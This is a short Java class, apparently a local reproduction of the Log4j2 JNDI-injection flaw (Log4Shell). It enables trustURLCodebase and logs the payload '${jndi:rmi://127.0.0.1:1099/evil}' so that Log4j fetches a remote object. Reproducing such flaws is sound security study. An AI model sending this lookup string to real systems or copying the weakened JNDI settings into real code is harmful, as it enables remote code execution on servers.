package com.zhouyu;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;

public class Log4j2Test {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) throws IOException, NamingException {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");



        String username="${jndi:rmi://127.0.0.1:1099/evil}";
//        String os = "${java:os}";
        LOGGER.info("Hello, {}!", username);



//        Context context = new InitialContext();
//        context.lookup("rmi://127.0.0.1:1099/evil");
    }

}
